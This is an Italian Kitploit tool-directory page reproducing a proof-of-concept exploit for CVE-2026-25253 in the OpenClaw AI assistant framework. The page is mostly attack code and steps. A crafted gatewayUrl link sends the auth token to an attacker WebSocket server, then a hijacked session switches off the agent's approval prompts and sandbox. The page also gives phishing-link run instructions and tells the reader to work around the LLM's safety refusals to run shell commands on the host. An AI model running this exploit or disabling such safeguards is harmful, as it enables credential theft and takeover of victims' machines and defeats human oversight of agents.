Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-25253 — Proof-of-concept exploit per CVE-2026-25253, che dimostra l'esecuzione remota di codice con un solo clic in OpenClaw tramite furto del token di autenticazione e dirottamento WebSocket cross-site. | Kitploit
Strumenti/GitHubGitHub/kajzingerakos/cve-2026-25253
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebAutenticazioneRed Teaming
GitHubkajzingerakos/cve-2026-25253

CVE-2026-25253

Proof-of-concept exploit per CVE-2026-25253, che dimostra l'esecuzione remota di codice con un solo clic in OpenClaw tramite furto del token di autenticazione e dirottamento WebSocket cross-site.

Vedi Repository
14 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-25253: RCE in un clic in OpenClaw tramite furto del token di autenticazione

Software interessato: OpenClaw (clawbot) < v2026.1.29
ID CVE: CVE-2026-25253
Punteggio CVSS: 8.8 (Alto)
Impatto: Un attaccante remoto non autenticato può rubare un token di autenticazione e ottenere l'esecuzione remota di codice sull'host della vittima

DICHIARAZIONE DI NON RESPONSABILITÀ LEGALE: Questo codice e questo writeup sono forniti esclusivamente per ricerca di sicurezza autorizzata e scopi educativi. L'uso di questo exploit contro sistemi senza esplicita autorizzazione scritta è illegale e non etico. L'autore non si assume alcuna responsabilità per un uso improprio.


Contesto Tecnico

OpenClaw, precedentemente noto come Clawdbot e indicato come Moltbot nelle prime versioni, è un framework di assistente AI che gira localmente su macOS, Windows o Linux. Supporta modelli cloud come Anthropic e OpenAI, oltre a modelli locali.

La Control UI è un'applicazione a pagina singola, servita su /chat. Comunica con il server gateway locale tramite WebSocket su ws://127.0.0.1:18789/ (o wss://host:18789/ per TLS).

Caratteristiche di sicurezza chiave delle versioni interessate:

  • I token di autenticazione e le password sono memorizzati in localStorage
  • L'identità del dispositivo è stabilita tramite coppie di chiavi Ed25519 (noble-ed25519)
  • Il protocollo WebSocket utilizza messaggi in stile JSON-RPC (type: "req", "res", "event")
  • Alla connessione, la Control UI invia le credenziali di autenticazione e l'identità del dispositivo nel primo frame connect

Causa Principale: applySettingsFromUrl()

La vulnerabilità risiede in applySettingsFromUrl() nella Control UI.

Quando la Control UI viene caricata, questa funzione legge il parametro di query ?gatewayUrl= dall'URL e lo memorizza come endpoint gateway attivo — senza alcuna validazione che verifichi se punta a un host attendibile.

Un attaccante può creare un link come:

root@kitploit:~
http://<target>/chat?gatewayUrl=ws://attacker.com

Quando la vittima clicca su questo link mentre è autenticata in OpenClaw, accade automaticamente quanto segue:

  1. applySettingsFromUrl() memorizza ws://attacker.com come nuovo URL del gateway
  2. La Control UI apre una connessione WebSocket al server dell'attaccante
  3. La Control UI invia il suo frame connect — incluso il token di autenticazione, l'ID del dispositivo e la chiave pubblica Ed25519 — all'attaccante
  4. L'attaccante cattura il token e lo riproduce contro il gateway legittimo su ws://127.0.0.1:18789
  5. L'attaccante ora ha una sessione operatore autenticata sulla macchina della vittima

Sfruttamento

Passo 1 — Furto del token tramite il trucco del popup

In questo PoC, l'attaccante ospita una pagina (meeting.html) che apre la Control UI della vittima in un popup, iniettata con il parametro ?gatewayUrl= dannoso:

root@kitploit:~
const attackerGatewayUrl = `ws://<attacker>:8080`;
const targetUrl = `http://127.0.0.1:18789?gatewayUrl=${encodeURIComponent(attackerGatewayUrl)}`;
window.open(targetUrl, '_blank');

Il server dell'attaccante sfrutta il fallback a due token di OpenClaw: il primo tentativo di connect utilizza il token del dispositivo (legato a Ed25519, non riproducibile). Rifiutandolo, il server costringe la Control UI a riprovare con il token delle impostazioni — un token bearer di lunga durata che è riproducibile:

root@kitploit:~
// Rifiuta il tentativo #1 → costringe la Control UI a riprovare con il token delle impostazioni
if (connectAttempts === 1) {
  ws.send({ type: 'res', ok: false, error: { code: 'AUTH_FAILED' } });
  return;
}
// Tentativo #2 → token delle impostazioni → CATTURATO
capturedToken = token;

Passo 2 — Dirottamento WebSocket Cross-Site

Con il token delle impostazioni rubato, meeting.html apre la propria connessione WebSocket diretta al gateway reale (ws://127.0.0.1:18789). Questo è possibile perché il gateway nelle versioni < v2026.1.29 non valida l'header Origin — qualsiasi pagina caricata nel browser della vittima può connettersi ad esso.

Passo 3 — Disattivazione dei controlli di sicurezza

root@kitploit:~
// Disattiva tutti i prompt di approvazione dell'esecuzione
await sendRequest('exec.approvals.set', {
  file: {
    defaults: { ask: 'off', autoAllowSkills: true },
    agents: { '*': { ask: 'off' } },
  }
});

// Esci dalla sandbox del container, reindirizza l'esecuzione alla macchina host
await sendRequest('config.patch', {
  raw: JSON.stringify({
    tools: { exec: { host: 'gateway', ask: 'off' } },
    agents: { defaults: { sandbox: { mode: 'off' } } },
  })
});

Passo 4 — Esecuzione remota di codice

Il contenuto del campo messaggio viene elaborato dall'LLM configurato nell'agente; questo significa che, se l'LLM ritiene il contenuto dannoso, non eseguirà il comando. Devi essere creativo per bypassare le misure di sicurezza dell'LLM.

root@kitploit:~
await sendRequest('agent', {
  message: 'Execute this shell command: <payload>',
  agentId: 'main',
  sessionKey: 'agent:main:main',
  deliver: false,
});

Flusso di attacco completo

root@kitploit:~
sequenceDiagram
    autonumber
    actor Attacker
    participant Browser as Victim Browser<br/>(meeting.html)
    participant CtrlUI as OpenClaw Control UI<br/>(popup @ 127.0.0.1:18789/chat)
    participant AtkWS  as Attacker WS Server<br/>(:8080)
    participant GW     as Real OpenClaw Gateway<br/>(127.0.0.1:18789)
    participant LLM    as Cloud LLM<br/>(OpenAI / Anthropic)

    Attacker->>Browser: Phishing link → opens meeting.html<br/>(disguised as a Teams invite)

    Note over Browser: Phase 1 — Token Theft

    Browser->>CtrlUI: Opens popup with ?gatewayUrl=ws://attacker:8080
    Note over CtrlUI: applySettingsFromUrl() stores<br/>attacker WS as active gateway

    CtrlUI->>AtkWS: connect { auth.token: DEVICE_TOKEN }
    AtkWS-->>CtrlUI: ✗ AUTH_FAILED (reject — forces retry)

    CtrlUI->>AtkWS: connect { auth.token: SETTINGS_TOKEN }
    AtkWS-->>CtrlUI: ✓ hello-ok (fake response)
    AtkWS->>Browser: token_captured { token: SETTINGS_TOKEN }

    Note over Browser: Phase 2 — Gateway Hijack (CSWSH)

    Browser->>GW: WebSocket connect (no Origin validation)<br/>auth { token: SETTINGS_TOKEN }
    GW-->>Browser: ✓ Authenticated as operator

    Note over Browser: Phase 3 — Security Bypass

    Browser->>GW: exec.approvals.set { ask: "off" }
    GW-->>Browser: ✓ Approval prompts disabled

    Browser->>GW: config.patch { exec.host: "gateway",<br/>sandbox.mode: "off" }
    GW-->>Browser: ✓ Sandbox disabled, exec on host

    Note over Browser: Phase 4 — Remote Code Execution

    Browser->>GW: agent { message: "Execute shell command: COMMAND" }
    GW->>LLM: Forward prompt (security already stripped)
    LLM-->>GW: Tool call: exec("COMMAND")
    GW->>GW: Runs command on HOST filesystem
    GW-->>Browser: ✓ Command executed

Esecuzione del PoC

Configurazione

root@kitploit:~
npm install   # installs 'ws' dependency

Configurare meeting.html

root@kitploit:~
const GATEWAY_URL      = 'ws://127.0.0.1:18789';  // victim's local gateway
const ATTACKER_WS_PORT = 8080;                     // must match attacker-server.js
const COMMAND = 'touch /tmp/success';

Esecuzione

root@kitploit:~
node attacker-server.js

Invia alla vittima:

root@kitploit:~
http://<ATTACKER_IP>:3000/meeting.html

Riferimenti

https://github.com/openclaw/openclaw/security/advisories/GHSA-g8p2-7wf7-98mq

https://www.sonicwall.com/blog/openclaw-auth-token-theft-leading-to-rce-cve-2026-25253

https://hackers-arise.com/cve-2026-25253-how-malicious-links-can-steal-authentication-tokens-and-compromise-openclaw-ai-systems/

Scarica lo strumento